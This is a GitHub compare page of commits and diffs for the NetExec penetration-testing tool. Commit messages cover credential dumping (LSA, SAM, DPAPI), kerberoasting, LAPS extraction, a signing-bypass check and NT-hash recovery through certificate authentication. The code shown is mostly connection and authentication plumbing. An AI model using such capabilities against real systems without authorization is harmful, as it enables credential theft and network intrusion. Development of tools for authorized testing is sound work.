Compare commits

...
156 Commits
Author SHA1 Message Date
Alex 0a8b9ddff3 Merge pull request #1511 from Pennyw0rth/neff-dont-kill 2026-11-07 18:30:22 +01:00
mpgn 1de39bf66b Merge pull request #1486 from Pennyw0rth/rdp-screenshot-reuse-session
rdp: keep the login session for --screenshot, -x and -X
2026-11-07 18:29:23 +01:00
Alexander Neff 7d0074e311 Add kill option to teams db 2026-11-07 18:20:34 +01:00
Alexander Neff 6431599d0f Formatting 2026-11-07 18:00:10 +01:00
Alexander Neff a9e34aa904 Add instructions about protocols 2026-11-07 17:57:16 +01:00
Alexander Neff 2d3d5fb16e Formatting 2026-11-07 17:53:51 +01:00
Alexander Neff 851e3a49c9 Formatting 2026-11-07 17:52:24 +01:00
Alex ab4f81ad57 Merge pull request #1505 from Ryan-DV/fix/nessus-parser-protocols
Add parser support for extra protocols
2026-11-07 16:13:11 +01:00
Alex 3e9b1aa0db Merge pull request #1434 from crosscutsaw/presence-fix
presence fix and improvement
2026-11-07 16:12:53 +01:00
Alexander Neff bc0d65c0ad Revert removing alternative domain/dc vars for cross domain auth 2026-11-07 16:08:09 +01:00
Alexander Neff 9c708494aa Formatting 2026-11-07 16:03:31 +01:00
Alexander Neff f9727f144d Formatting 2026-11-07 15:59:53 +01:00
Alexander Neff d7393f685c Use kdcHost instead of manual arg 2026-11-07 15:57:18 +01:00
Alexander Neff a4f86d270c Formatting 2026-11-07 15:56:03 +01:00
Alex 841d7fe222 Merge pull request #1509 from 0xAnk/patch-1
fix(change-password): trigger null-session fallback on STATUS_USER_SESSION_DELETED
2026-11-06 08:54:14 +01:00
0xAnk 0187d86adb fix(change-password): trigger null-session fallback on STATUS_USER_SESSION_DELETED
Signed-off-by: 0xAnk <[email protected]>
2026-11-06 06:00:14 +05:00
Ryan 349cbd7172 Add parser support for extra protocols
Signed-off-by: Ryan <[email protected]>
2026-11-02 15:42:51 +01:00
mpgn c69c4b8ba7 rdp: fail -x/-X/--screenshot right away without credentials 2026-11-02 14:59:16 +01:00
mpgn c8a35f7813 rdp: keep the login session for --screenshot, -x and -X 2026-11-02 14:59:09 +01:00
mpgn f08f65a459 Merge pull request #1498 from nikaiw/fix/ldap-paging-no-ntlm
Always page LDAP searches, not only when NTLM is available
2026-11-01 18:46:31 +01:00
Azox 6965632b46 Merge pull request #1503 from Pennyw0rth/feat/azox-impacket-pkinit 2026-10-31 21:29:18 +01:00
azoxlpf 499219b5d9 Inline protocol checks, take the parsed username for PKINIT, drop RDP double if 2026-10-31 20:50:10 +01:00
azoxlpf a88b16634d Fix certificate auth regressions from review 2026-10-30 23:44:56 +01:00
mpgn ba6a16558a Update nxc/protocols/ldap.py
Signed-off-by: mpgn <[email protected]>
2026-10-30 23:42:03 +01:00
Azox 93d62e5ee2 Merge pull request #1504 from aas-n/reauth_swap-lockout-handling 2026-10-30 23:30:20 +01:00
Lyderic Lefebvre 0ad109c170 reauth_swap: clearer failure handling, lockout warning, CVE reference 2026-10-30 18:36:05 +01:00
azoxlpf d78d3badb0 Use impacket PKINIT for certificate auth and add --unpac to SMB 2026-10-29 22:06:49 +01:00
Azox 30cf146578 Merge pull request #1494 from gzzcoo/fix/ldap-lapsv2-kerberos-rpc 2026-10-29 16:54:46 +01:00
azoxlpf 31a98e5b02 Use a single failure sentinel in LAPSv2Extract.run() 2026-10-29 15:09:23 +01:00
mpgn 69f281055e Merge pull request #1489 from Pennyw0rth/deps-cleanup 2026-10-28 19:05:26 +01:00
mpgn 3e0f905609 Bump dploot to 4.1.3 2026-10-28 16:50:10 +01:00
Alex 8dfbc5941d Merge pull request #1495 from aas-n/feat/reauth-swap-module
Add reauth_swap module: check cross-user SMB re-auth swap (enforced signing bypass viability)
2026-10-28 09:55:53 -04:00
mpgn 2943ec4fb4 Bump impacket to fortra/impacket master 3ee67be6 2026-10-28 07:08:08 +01:00
Alexander Neff f16d0f8cf8 Remove unused imports 2026-10-28 00:26:49 +01:00
Alex 8ca80f1522 Merge pull request #1501 from Pennyw0rth/neff-uppercase-nbt-name 2026-10-27 16:02:26 -04:00
Alex ecbf7b5dd8 Merge branch 'main' into neff-uppercase-nbt-name 2026-10-27 16:00:02 -04:00
Alex 21d14df973 Merge pull request #1500 from Pennyw0rth/neff-uppercase-nbt-name 2026-10-27 15:30:13 -04:00
Alexander Neff 6a07de72a2 Formatting and some comments 2026-10-27 20:21:41 +01:00
Alexander Neff e48413e448 Alert the user if something goes wrong 2026-10-27 20:16:38 +01:00
Alexander Neff 3ff527b698 Use built-in smb conn reestablisher 2026-10-27 20:16:21 +01:00
Alexander Neff 8a8d4ec93e Formatting 2026-10-27 20:07:37 +01:00
Alexander Neff add06debbc Formatting 2026-10-27 20:07:08 +01:00
mpgn 821c17563e Show undecodable WAM tokens with fail() 2026-10-27 19:44:36 +01:00
mpgn e13597cb8e Merge pull request #1499 from Pennyw0rth/dpapi-lsa-regdump
Use regdump in the --dpapi LSA pass
2026-10-27 19:40:27 +01:00
Alexander Neff 468c4f93b9 Formatting 2026-10-27 19:28:12 +01:00
Alexander Neff 0e4959c10d Formatting 2026-10-27 19:27:43 +01:00
Alexander Neff 6fbea2ae1d Move module doc 2026-10-27 19:27:21 +01:00
Alexander Neff e5ff59ae0a Fix casing of hostname 2026-10-27 18:22:21 +01:00
Alexander Neff 1b9435e668 Fix casing of hostname 2026-10-27 18:19:40 +01:00
mpgn b7565a2cbf Drop the MSCache skip from the --dpapi LSA pass 2026-10-27 16:57:21 +01:00
mpgn 74e9fe27ed Use regdump and skip MSCache in the --dpapi LSA pass
--dpapi calls lsa() without --lsa, so args.lsa is None and the
== "regdump" checks sent it to secdump: the SECURITY hive was saved to
C:\Windows\Temp and parsed over SMB. The pass also dumped the cached
domain logons, although DPAPI only needs the DPAPI_SYSTEM key. Only
pick secdump when it is asked for, and skip MSCache in the quiet pass.
2026-10-27 11:19:53 +01:00
NKandClaude Opus 4.8 62e40f2423 Always page LDAP searches, not only when NTLM is available
The LDAP paged search control was only sent when self.no_ntlm was
false. self.no_ntlm is set when the DC does not answer the NTLM
(sicilyNegotiate) probe during host-info collection, which is common on
hardened / Kerberos-only DCs. Whether the server speaks NTLM is
unrelated to whether it supports paging (control 1.2.840.113556.1.4.319).

impacket's LDAPConnection.search() does not page on its own: it only
loops over result pages while it receives a SimplePagedResultsControl in
the request. With no_ntlm true, NetExec passed no control, so against a
large directory AD capped the result at 1000 entries and raised
sizeLimitExceeded. The handler logs the failure and returns [], so every
large search (--kerberoasting, --users, --bloodhound, ...) silently came
back empty with "No entries found!".

Send the paged control unconditionally so all entries are retrieved
regardless of the DC's NTLM support or the bind method used.

Co-Authored-By: Claude Opus 4.8 <[email protected]>
2026-10-27 02:13:27 +01:00
mpgn 30b3a6543b Merge pull request #1480 from Pennyw0rth/kerberos-tgt-reuse-dcom 2026-10-26 22:22:41 +01:00
mpgn 5a4ef2d5ac Remove the LAPS screenshots from the repository 2026-10-26 21:48:28 +01:00
mpgn 02aae10963 Fix the GKDI host for --laps and pass the AES key to LAPSv2Extract
- laps_search() bound MS-GKDI on the scanned host (self.host/self.remoteName),
  which broke --laps on smb/winrm/mssql/rdp; use the DC (kdcHost) instead
- pass the AES key so -k --aesKey can bind GKDI with Kerberos
- drop the always-true rpc_name/hasattr checks, the no-op setRemoteHost()
  and the try/except around json.loads in the module
2026-10-26 21:48:22 +01:00
mpgn 9d6a6d7911 Merge pull request #1482 from Pennyw0rth/smb-exec-fast-output-poll 2026-10-26 15:08:36 +01:00
mpgn 99c88e562e Fix the double backslash in exec output file paths 2026-10-26 13:14:34 +01:00
mpgn 73ec147399 Merge pull request #1484 from Pennyw0rth/list-modules-ast 2026-10-26 13:07:36 +01:00
mpgn 10ddc3df9d Report exec output files that could not be deleted
A failed delete can leave the command output on the target: with a
blocked share, wmiexec, mmcexec and atexec still write it to
C:\Windows\Temp. Log it as an [OPSEC] fail, unless the file does not
exist.
2026-10-26 13:06:54 +01:00
mpgn 440ca60684 Reuse module_is_sane() for the static -L listing
The static reader repeated the checks of module_is_sane() in one long
condition. It now builds a namespace from the literal values and the
method names of the class and runs module_is_sane() on it. load_module()
no longer checks again the modules that list_modules() already checked.
2026-10-25 18:57:50 +01:00
Alexander Neff 719add5367 Formatting 2026-10-25 15:27:22 +01:00
mpgn c2d7fdb8a5 Add missing hidden imports to the PyInstaller spec
Protocols and modules ship as data files, so PyInstaller never sees
their imports. The binary crashed on smb, wmi, winrm and mssql
(impacket.dcerpc.v5.tsts, nxc.helpers.dpapi, dploot.lib.network.*) and
failed to load maq, raisechild, firefox, presence, resetnightmare,
shadow-creds and mremoteng.
2026-10-24 22:23:21 +02:00
mpgn 70e385a27e Log skipped unreadable WAM tokens in debug 2026-10-24 22:23:21 +02:00
mpgn 3b827ef2d3 Import user modules for -L and comment the static guards
-L listed a user module that fails at import without any error. Only the
modules shipped with nxc are now read with ast, so ~/.nxc/modules keeps
the import and its "Failed loading module" message. Also comment what
each fallback guard protects and why the static result has no options key.
2026-10-24 21:52:40 +02:00
mpgn 61287f0bf9 Move the exec output read loop into one helper
wmiexec, mmcexec, atexec and smbexec had four copies of the same
read/retry loop, and the wmiexec copy had already drifted (no
--get-output-tries hint, different blocked-share message). They now
call get_output_file(), where the quick-read window is a single 0.4s
deadline. smbexec keeps reading right away.
2026-10-24 21:42:04 +02:00
Alex 495d770afd Merge pull request #1497 from Barneee/Barneee-add-arctic-wolf-enum 2026-10-23 09:52:34 -04:00
Dennis Barnekow fdf5e491f0 Add Arctic Wolf detection to enum_av
Signed-off-by: Dennis Barnekow <[email protected]>
2026-10-23 15:07:48 +02:00
Lyderic Lefebvre 56e535a637 Add reauth_swap module: check cross-user SMB re-auth swap (enforced signing bypass viability) 2026-10-22 16:40:09 +02:00
Azox e2b8c4962a Merge pull request #1496 from Pennyw0rth/feat/azox-webdav
Adds CVE-2026-102217  to the enum_cve module
2026-10-22 15:42:31 +02:00
azoxlpf 913fc5ba71 Added CVE-2026-102217 check 2026-10-22 14:32:28 +02:00
mpgn 6cc7347d0f Resync the PR after the GitHub incident 2026-10-21 19:41:01 +02:00
mpgn d26884a540 Merge branch 'main' into kerberos-tgt-reuse-dcom 2026-10-21 17:11:05 +02:00
Alex bd0dcf55b9 Merge pull request #1491 from Pennyw0rth/wmi_fix_checkadmin
Fix for #1490
2026-10-21 10:39:47 -04:00
mpgn 20731f4009 Reset the WMI TGT per attempt and reuse the TGT in the rdp module 2026-10-21 15:38:32 +02:00
Azox 2f0021c436 Merge branch 'main' into rdp-screenshot-reuse-session 2026-10-21 15:22:21 +02:00
mpgn ae14dd2bbc rdp: don't run -x/--screenshot after a failed login
rdp never set self.username, so proto_flow() treated every rdp run as one without credentials and ran -x/--screenshot even after a failed login, retrying the bad password. Set it like the other protocols do.
2026-10-21 15:12:05 +02:00
mpgn d65d2cb51d rdp: report screenshot errors and close the NLA probe through a local 2026-10-21 15:12:02 +02:00
gzzcoo 0da788f021 Drop unrelated LAPS command inventory change 2026-10-21 13:12:14 +02:00
gzzcoo b8e892ae41 Add LAPS v2 before and after screenshots 2026-10-21 13:07:58 +02:00
gzzcoo 8678bf9cbb Fix Kerberos RPC for LDAP LAPS v2 2026-10-21 12:54:30 +02:00
Alexander Neff 36e9731b2c Remove duplicate proto log specification 2026-10-20 11:57:55 -04:00
zblurx e55cc5d23d ruff 2026-10-20 13:42:55 +02:00
zblurx 949ffa5439 revert first fix 2026-10-20 13:42:05 +02:00
zblurx 133e7ff5bd Merge branch 'wmi_fix_checkadmin' of github.com:Pennyw0rth/NetExec into wmi_fix_checkadmin 2026-10-20 13:40:26 +02:00
zblurx e6a4d9f2f0 fix wmi bruteforce bug 2026-10-20 13:40:18 +02:00
zblurx d1464494a8 new fix for #1490 2026-10-20 13:34:55 +02:00
zblurx df356ca087 fix for #1490 2026-10-20 10:17:16 +02:00
mpgn ae683dba10 Merge pull request #1483 from Pennyw0rth/fix/dc-detect-rpc-plain-scan 2026-10-19 12:55:00 +02:00
mpgn de8c1353e6 Use None instead of 0 for an unknown OS arch 2026-10-19 11:30:08 +02:00
Azox b29b2a7e13 Merge pull request #1488 from azoxlpf/fix/schannel-no-empty-ntlm-login
Move the LDAP-to-SMB session to a helper and guard it on schannel
2026-10-18 22:55:27 +02:00
Azox e1daa2936c Merge pull request #1456 from rtpt-romankarwacik/smb_remotename_dns
Change SMB remoteName resolution
2026-10-18 21:59:50 +02:00
mpgn 4f9d13c27a rdp: address review on --screenshot session reuse
- --screentime: single default of 5 s for --screenshot and --nla-screenshot
- run every RDP call on the per-target event loop (opened and closed in
  proto_flow), and close check_nla's probe socket
- --continue-on-success: keep the session of the last successful login,
  as before
- print a failure when no desktop data arrived within --screentime
2026-10-18 16:18:20 +02:00
azoxlpf 680a38e486 Move the schannel guard into the helper and return None 2026-10-18 15:52:44 +02:00
mpgn dbc3e3cd21 Remove unused dependencies and fix wam token decoding
Drop beautifulsoup4, jwt, python-dateutil and flake8. The jwt package is
not PyJWT, so -M wam never decoded a token; decode the payload with the
stdlib instead. Replace relativedelta in --pso, which also fixes minutes
for durations of one hour or more.
2026-10-18 15:19:52 +02:00
azoxlpf 3e02616568 Move the LDAP-to-SMB session to a helper and guard it on schannel 2026-10-18 14:52:55 +02:00
mpgn f0ef5d685d rdp: honor --screentime for --screenshot
--screenshot always waited a fixed 5 s and ignored --screentime. Default
--screentime to None: --screenshot keeps waiting 5 s and --nla-screenshot
10 s unless --screentime is given.
2026-10-17 23:43:11 +02:00
mpgn 3db9914628 rdp: reuse the login session for --screenshot
--screenshot opened a second full RDP session after the login only to
grab the desktop. Run the login and the screenshot on one event loop
per target, keep the login session open for the screenshot, merge the
two screenshot-saving blocks, and stop PNG-encoding updates that
nothing reads.
2026-10-17 23:16:06 +02:00
Alexander Neff cbb214b7e4 Merge branch 'main' into smb_remotename_dns 2026-10-17 20:52:26 +02:00
mpgn 3618aa4fbd Read module metadata statically for -L
-L executed every module file to print its name, description and
category. list_modules() without names now reads that metadata with ast
(get_module_info_static), and only falls back to importing a module
when its metadata is not a plain literal.
2026-10-17 20:36:07 +02:00
mpgn 0615464f7a Merge pull request #1083 from serwiz/maq/privileges
Add SeMachineAccountPrivilege to maq module
2026-10-17 20:31:14 +02:00
mpgn 17166719c6 Detect DCs over RPC on plain scans by reusing the arch probe on 135
get_os_arch() already connects to the endpoint mapper on port 135 for every
host, so the Netlogon lookup adds no new port. Run it before is_host_dc() and
gate the RPC tier on its result instead of probing 135 again. DCs that refuse
the null session (Server 2025 by default) are now flagged without
--generate-*, and nothing extra is sent when 135 is filtered (proxychains).
Kerberos (88) stays limited to NTLM-disabled hosts and --generate-*.

The os_arch == 0 conditions of the Samba check were always true since the
arch was only computed afterwards; drop them to keep the same result.
2026-10-17 20:28:44 +02:00
mpgn f2dc91e16b Merge pull request #1481 from Pennyw0rth/load-requested-module-only
Load only the requested module with -M
2026-10-17 20:24:04 +02:00
mpgn f50d8d8322 Merge pull request #1464 from Pennyw0rth/fix/schtask-as-cert-cleanup
Fix schtask_as certreq: delete only the enrolled cert, and don't hang when the run-as user has no session
2026-10-17 19:38:15 +02:00
mpgn 23e097975a Merge pull request #1463 from Pennyw0rth/fix/cleanup-on-failure
Fix leftover files on target when --sam/--lsa/lsassy fail
2026-10-17 19:37:46 +02:00
mpgn 28b9d077a3 smb exec: read the command output sooner (wmiexec, mmcexec, atexec)
Poll for the output file quickly during the first 0.4 s instead of
sleeping 0.4 s before the first read. Fast polls do not count against
--get-output-tries, so the retry budget is unchanged.
2026-10-17 19:28:00 +02:00
mpgn f85c1e54ab Load only the requested module with -M
-M executed every module file to find the requested one. list_modules()
now takes the requested names and only loads those files, keeping the
same precedence (NXC_PATH/modules over built-in modules).
2026-10-17 19:27:55 +02:00
mpgn c573cdb203 Kerberos: reuse the login TGT for WMI/DCOM binds
With -k and a password, hash or AES key, pass the TGT obtained at login
to the WMI and DCOM binds instead of letting impacket request a new one
on every bind. An exported KRB5CCNAME is no longer used for these binds
unless --use-kcache is given.
2026-10-17 19:27:51 +02:00
serwiz c6ff87ba0d Fix schannel usage with MAQ module and removed policies_dn 2026-10-17 19:05:58 +02:00
Alex e24a78f5df Merge branch 'main' into fix/schtask-as-cert-cleanup 2026-10-17 11:54:12 -04:00
Alexander Neff 26d8fd291c Formatting 2026-10-17 17:35:59 +02:00
Alexander Neff adb3b48138 Formatting 2026-10-17 17:34:05 +02:00
Alexander Neff 5314ae2a00 Fix SMB args 2026-10-17 17:25:32 +02:00
Alexander Neff 6b4247eb60 Formatting 2026-10-17 17:22:18 +02:00
Alexander Neff 0b65706ea1 Formatting 2026-10-17 17:20:06 +02:00
Alexander Neff f261dea428 Formatting 2026-10-17 17:18:17 +02:00
Alexander Neff fd761d8371 Move login function to top of module 2026-10-17 17:17:52 +02:00
Alexander Neff 3a4630fc7b Fix wrong if statement order 2026-10-17 16:50:05 +02:00
Alexander Neff 2ced678694 Use NetBIOS name if host does not return DNS name 2026-10-17 16:49:54 +02:00
serwiz 34bc130329 Change the way requesting LDAP to avoid removed GPO error. Now silently skipped while ACCESS DENIED still available. 2026-10-16 10:44:13 +02:00
serwiz 98376de004 Ruff stuff 2026-10-16 00:02:38 +02:00
serwiz 7a7d8653ba Merge branch 'maq/privileges' of github.com:serwiz/NetExec into maq/privileges 2026-10-15 23:52:23 +02:00
serwiz 865ea743ba Added minor improvments as suggested (remove ldap3 dependencies, verbose when ACCESS DENIED on GPO, support mixed value on GptTmpl.inf) with constants.py file included. 2026-10-15 23:50:37 +02:00
mpgn e5d11260e3 Merge branch 'main' into maq/privileges 2026-10-15 22:53:24 +02:00
serwiz f23ed12e80 applied priority order and resolved previous comments 2026-10-15 22:33:19 +02:00
serwiz df6ad2f26d Removed empty lines 2026-10-15 13:42:52 +02:00
serwiz a7c0968348 Review @Azoxlpf comments and enhance SeMachineAccountPrivilege Output 2026-10-15 11:17:52 +02:00
serwiz a67f07f54e Added Dfte patch 2026-10-15 00:40:34 +02:00
mpgn a37a4438a1 fix(atexec): simplify the task-run wait with for/else, add a grace period, fail on task delete error 2026-10-13 22:42:43 +02:00
mpgn 0ae3cc9a39 fix(atexec): simplify the task-run wait, add a grace period for slow hosts, fail on task delete error 2026-10-13 22:38:12 +02:00
mpgn 39e46f2143 Move the SMB --sam/--lsa cleanup to #1465 2026-10-13 22:25:42 +02:00
mpgn f7bc61347a fix(lsassy,hash_spider): drop redundant try/except around ImpacketFile.delete 2026-10-13 22:21:15 +02:00
mpgn 8cd06f5434 fix schtask module 2026-10-12 22:49:50 +02:00
mpgn db7791d60c fix various problem 2026-10-12 19:27:59 +02:00
Alexander Neff 185c11390b Simplify logic 2026-10-11 18:02:01 -04:00
Alexander Neff 315abab0b2 Stay with IP as remoteName if not required by Kerberos 2026-10-11 17:57:53 -04:00
Alexander Neff 311441c429 Expand remoteName to other protocols and only use FQDN if kerberos is required 2026-10-08 13:42:40 -04:00
Alexander Neff 081107a9ce Replace undefined target variable with remoteName 2026-10-08 13:15:38 -04:00
Alexander Neff b99fa8b8f2 Add sanitization 2026-10-08 13:13:04 -04:00
Alexander Neff 3f28024429 Add sanitization 2026-10-08 13:10:33 -04:00
Roman Karwacik 4bc98e7899 coerce_plus: use remoteName as target 2026-10-07 11:58:42 +02:00
Roman Karwacik 88ee0ce2f6 smb: Add debug message to show which ticket is being requested 2026-10-07 11:43:38 +02:00
Roman Karwacik c501de88c8 smb: Change default SPN (remoteName) resolution to use DNS name 2026-10-07 11:43:38 +02:00
crosscutsaw d807ebd4e4 Update presence.py 2026-09-21 10:13:47 +03:00
crosscutsaw 8417639cda presence-fix-improve
presence-fix-improve
2026-09-20 17:35:04 +03:00
serwiz 4444e45e2a Added Try catch exception over smb connection and forward ldap connection timeout too 2026-07-30 14:06:23 +02:00
serwiz 313487fe3f Corrected LSA RPC into LDAP + Well Known SIDs 2026-07-30 12:14:44 +02:00
serwiz 254f69defb Restore localized SID resolution through LSA 2026-07-30 11:37:13 +02:00
serwiz 2eac3ce028 Handle unresolved LDAP SIDs 2026-07-30 11:24:24 +02:00
serwiz 22d3dcc5bf Reviews from comments done for maq module 2026-07-30 11:03:23 +02:00
serwiz 83be3161ec Did ruff check and all passed now. 2026-02-07 15:12:40 +01:00
serwiz 80d38c1013 Change final display. More readable. 2026-02-07 14:42:18 +01:00
serwiz 84b4831dba Enhanced: can support mutiple SeMachineAccountPrivilege with detailed display 2026-02-07 14:31:50 +01:00
serwiz df1db9595d Correcting stacktrace error due to invalid sids tab initialisation. 2026-02-04 22:25:20 +01:00
serwiz d0fced5bef Correcting cross domain check to access the correct GPO PATH and add some debug output 2026-02-01 14:34:25 +01:00
WSE 0e08d74e87 Added SID translation for more understanding 2026-01-24 23:11:25 +01:00
GHWX8660 8f6d2afec1 Added SeMachineAccountPrivilige check to MAQ module. Need to implement SID translation. 2026-01-23 00:38:33 +01:00
46 changed files with 1134 additions and 1305 deletions

No files matched your search

+2
View File
@@ -64,3 +64,5 @@ docs/_build/
# PyBuilder
target/
nxc/.DS_Store
.DS_Store
+6
View File
@@ -12,6 +12,12 @@
- Do not prefix function or method names with underscores; preserve required Python special methods such as `__init__`.
- Do not assume the host runs Linux; keep code and paths cross-platform unless the task explicitly targets one operating system.
# NetExec protocol structure
- Protocol implementations must follow the lifecycle defined by `proto_flow()` in `nxc/connection.py`.
- Keep connection setup in `create_conn_obj()`, target enumeration in `enum_host_info()`, host information output in `print_host_info()`, authentication in the login methods, and cleanup in `disconnect()`.
- Keep protocol-specific behavior in the appropriate lifecycle methods and let `proto_flow()` control their order and dispatch command arguments and modules.
# NetExec module structure
- In files under `nxc/modules/`, do not define variables, constants, or helper functions at module scope.
+1 -1
View File
@@ -13,7 +13,7 @@ clean:
find . -name '.pytest_cache' -exec rm -rf {} +
tests:
flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics --exclude nxc/data/*
ruff check .
requirements:
poetry export --without-hashes -f requirements.txt -o requirements.txt
+13 -2
View File
@@ -32,11 +32,12 @@ a = Analysis(
'impacket.dcerpc.v5.rprn',
'impacket.dcerpc.v5.even',
'impacket.dcerpc.v5.even6',
'impacket.dcerpc.v5.tsts',
'impacket.dpapi_ng',
'impacket.tds',
'impacket.version',
'impacket.ldap.ldap',
'jwt',
'impacket.krb5.kpasswd',
'nxc.connection',
'nxc.protocols.smb.wmiexec',
'nxc.protocols.smb.atexec',
@@ -48,9 +49,12 @@ a = Analysis(
'nxc.parsers.ldap_results',
'nxc.helpers.bash',
'nxc.helpers.bloodhound',
'nxc.helpers.dpapi',
'nxc.helpers.even6_parser',
'nxc.helpers.firefox',
'nxc.helpers.msada_guids',
'nxc.helpers.negotiate_parser',
'nxc.helpers.smb',
'paramiko',
'pefile',
'pypsrp.client',
@@ -84,9 +88,16 @@ a = Analysis(
'dploot.triage.cng',
'dploot.lib.target',
'dploot.lib.smb',
'dploot.lib.network.mssql',
'dploot.lib.network.winrm',
'dsinternals.common.cryptography.X509Certificate2',
'dsinternals.common.data.DNWithBinary',
'dsinternals.common.data.hello.KeyCredential',
'dsinternals.system.DateTime',
'dsinternals.system.Guid',
'lxml.objectify',
'pyasn1_modules.rfc5652',
'unicrypto.backends.pycryptodomex',
'dateutil.relativedelta',
'sspilib.raw._text',
],
hookspath=['./nxc/.hooks'],
+7 -4
View File
@@ -109,9 +109,11 @@ class connection:
# Authentication info
self.password = ""
self.username = ""
self.certificate_auth = bool(self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert)
self.kerberos = bool(self.args.kerberos or
self.args.use_kcache or
self.args.aesKey or
(self.certificate_auth and not (self.protocol == "ldap" and self.args.schannel)) or # PKINIT yields a TGT, while Schannel binds the certificate to the LDAP channel itself
(hasattr(self.args, "delegate") and self.args.delegate) or
(hasattr(self.args, "generate_st") and self.args.generate_st) or
(hasattr(self.args, "no_preauth_targets") and self.args.no_preauth_targets))
@@ -119,6 +121,7 @@ class connection:
self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
self.admin_privs = False
self.failed_logins = 0
self.has_reusable_secret = not (self.protocol == "ldap" and self.args.schannel) # a Schannel bind authenticates the LDAP connection only, leaving no secret for a second channel
# Network info
self.domain = None
@@ -222,7 +225,7 @@ class connection:
self.output_filename = os.path.join(base_log_dir, filename_pattern)
self.print_host_info()
if self.login() or (self.username == "" and self.password == "" and self.protocol != "mssql"):
if self.login() or (self.username == "" and self.password == "" and self.protocol != "mssql" and not self.certificate_auth): # a failed certificate auth is not a null session
self.logger.debug("Calling command arguments")
self.call_cmd_args()
if self.args.module:
@@ -531,18 +534,18 @@ class connection:
self.logger.info("Successfully authenticated using Kerberos cache")
return True
if self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert:
if self.certificate_auth:
self.logger.debug("Trying to authenticate using Certificate pfx")
if self.args.protocol == "ldap" and self.args.schannel:
# Schannel maps the certificate to an account server-side, so the supplied username is ignored
with sem:
return self.plaintext_login(self.domain, "", "")
if not self.args.username:
if not username:
self.logger.fail("You must specify a username when using certificate authentication")
return False
with sem:
from nxc.helpers.pfx import pfx_auth
return pfx_auth(self)
return pfx_auth(self, domain[0], username[0])
if hasattr(self.args, "laps") and self.args.laps:
self.logger.debug("Trying to authenticate using LAPS")
+164 -540
View File
@@ -1,575 +1,199 @@
# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Author:
# Alberto Solino (@agsolino)
# Dirk-jan Mollema (@_dirkjan)
#
# Description:
# This script will use an existing TGT to request a PAC for the current user using U2U.
# When the TGT was obtained using PKINIT, the resulting PAC will contain the NT hash which can be
# used for silver tickets and for backwards compatibility with other tooling.
# Certificate authentication for nxc: PKINIT (RFC 4556) through impacket, plus UnPAC the hash
#
# References:
#
# PKINIT: https://www.rfc-editor.org/rfc/rfc4556
# U2U: https://tools.ietf.org/html/draft-ietf-cat-user2user-02
#
# Based on examples from minikerberos by skelsec
# Parts of this code was inspired by the following project by @rubin_mor
# https://github.com/morRubin/AzureADJoinedMachinePTC
#
# Author:
# Tamas Jos (@skelsec)
# Dirk-jan Mollema (@_dirkjan)
#
# Authors:
# Azox (@azoxlpf) for the PKINIT implementation, in impacket and in nxc
# Dirk-jan Mollema (@_dirkjan) for the original UnPAC the hash implementation
import os
import secrets
import tempfile
import hashlib
import datetime
import random
import base64
import datetime
import os
import random
import tempfile
from binascii import unhexlify, hexlify
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import padding, rsa
from cryptography.hazmat.primitives.serialization import pkcs12
from cryptography.x509 import load_pem_x509_certificate, load_der_x509_certificate
from asn1crypto import cms
from asn1crypto import algos
from asn1crypto import core
from asn1crypto import keys
from asn1crypto import x509
from minikerberos.protocol.dirtydh import DirtyDH
from minikerberos.protocol.constants import NAME_TYPE, PaDataType
from minikerberos.protocol.encryption import Enctype, _enctype_table, Key
from minikerberos.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, KDCOptions, EncASRepPart, AS_REQ, PADATA_TYPE, PA_PAC_REQUEST
from minikerberos.protocol.rfc4556 import PKAuthenticator, AuthPack, PA_PK_AS_REP, KDCDHKeyInfo, PA_PK_AS_REQ
from binascii import hexlify
from pyasn1.codec.der import decoder, encoder
from pyasn1.error import PyAsn1Error
from pyasn1.type.univ import noValue
from impacket.dcerpc.v5.rpcrt import TypeSerialization1
from impacket.krb5 import constants
from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, EncTicketPart, AD_IF_RELEVANT, Ticket as TicketAsn1
from impacket.krb5.kerberosv5 import sendReceive
from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, PAC_CREDENTIAL_INFO, \
PAC_CREDENTIAL_DATA, NTLM_SUPPLEMENTAL_CREDENTIAL
from impacket.krb5.types import Principal, KerberosTime, Ticket
from impacket.krb5.asn1 import AD_IF_RELEVANT, AP_REQ, AS_REP, Authenticator, EncTicketPart, TGS_REP, TGS_REQ, Ticket as TicketAsn1, seq_set, seq_set_iter
from impacket.krb5.ccache import CCache
from impacket.krb5.crypto import InvalidChecksum, _enctype_table
from impacket.krb5.kerberosv5 import KerberosError, sendReceive
from impacket.krb5.pac import NTLM_SUPPLEMENTAL_CREDENTIAL, PACTYPE, PAC_CREDENTIAL_DATA, PAC_CREDENTIAL_INFO, PAC_INFO_BUFFER
from impacket.krb5.pkinit import PKINITCredentials, PKINITError, getKerberosTGTPKINIT
from impacket.krb5.types import KerberosTime, Principal, Ticket
# Imports for pfx_auth
from minikerberos.network.clientsocket import KerberosClientSocket
from minikerberos.common.target import KerberosTarget
from minikerberos.common.ccache import CCACHE
from impacket.krb5.ccache import CCache as impacket_CCache
from nxc.paths import NXC_PATH, TMP_PATH
from nxc.helpers.path import sanitize_path_component
from nxc.logger import nxc_logger
from nxc.paths import NXC_PATH, TMP_PATH
def _load_asn1_certificate(data):
"""Load a certificate as an asn1crypto object, accepting both PEM and DER input
def pkinit_credentials(args):
"""Load the client certificate and its private key as the PKINIT credentials impacket expects"""
if args.pfx_cert:
return PKINITCredentials.fromPFX(args.pfx_cert, args.pfx_pass)
The certificate is parsed by cryptography and re-encoded, so that malformed input is
rejected here instead of failing later inside asn1crypto, which parses lazily
if args.pfx_base64:
with open(args.pfx_base64, "rb") as pfx_base64_file:
pfxdata = base64.b64decode(pfx_base64_file.read())
return PKINITCredentials.fromPFXData(pfxdata, args.pfx_pass, source=f"the base64 PFX file {args.pfx_base64}")
if args.pem_cert and args.pem_key:
return PKINITCredentials.fromPEM(args.pem_cert, args.pem_key, args.pfx_pass)
return None
